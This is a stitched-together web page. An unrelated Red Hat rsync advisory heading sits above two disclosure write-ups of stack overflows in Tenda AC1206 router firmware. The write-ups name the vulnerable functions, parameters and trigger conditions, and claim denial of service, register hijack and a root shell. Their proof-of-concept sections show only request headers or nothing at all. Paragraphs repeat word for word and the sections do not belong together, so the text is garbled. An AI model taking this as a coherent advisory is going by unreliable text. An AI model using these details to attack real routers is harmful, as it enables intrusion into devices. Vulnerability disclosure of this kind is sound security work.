Red Hat Security Advisory 2022-6180-01 - The rsync utility enables the users to copy and synchronize files locally or across a network. Synchronization with rsync is fast because rsync only sends the differences in files over the network instead of sending whole files. The rsync utility is also used as a mirroring tool.

Red Hat Security Advisory 2022-6180-01

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the list parameter at the function formSetVirtualSer.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the formSetVirtualSer function. An attacker can obtain a stable root shell through a carefully constructed payload.

In the formsetvirtualser function, str (the value of list) we entered will be passed into the save_virtualser_data function as a parameter, and this function has stack overflow.

In the save_virtualser_data function,the buf (the value of list) is formatted using the sscanf function and in the form of %[^,]%*c%[^,]%*c%[^,]%*c%s. This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of lan_ip、 in_port 、out_port or protocol, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    POST /goform/SetVirtualServerCfg HTTP/1.1
    Host: 192.168.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .

As shown in the figure above, we can hijack PC registers.

Finally, you also can write exp to get a stable root shell.

CVE-2022-37804: vuln/Tenda/AC1206/3 at main · Darry-lang1/vuln

Tenda AC1206 V15.03.06.23 was discovered to contain a stack overflow via the function fromWizardHandle.

**Tenda AC1206 (V15.03.06.23) has a stack overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn
*   Firmware download address ： https://www.tenda.com.cn/download/detail-2766.html

**Product Information**

Tenda AC1206 V15.03.06.23, the latest version of simulation overview：

**Vulnerability details**

The Tenda AC1206 (V15.03.06.23) was found to have a stack overflow vulnerability in the fromWizardHandle function. An attacker can obtain a stable root shell through a carefully constructed payload.

When wanflag > = wanport and want=2, we can reach the vulnerable branch.

Stack overflow vulnerability occurs in the decodepwd function.

The decodepwd function is equivalent to copying data from and filtering "/" symbols.As long as the pppoepwd(the value of PPW) we enter exceeds the size of the decode_pwd array, it will cause a stack overflow.

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks
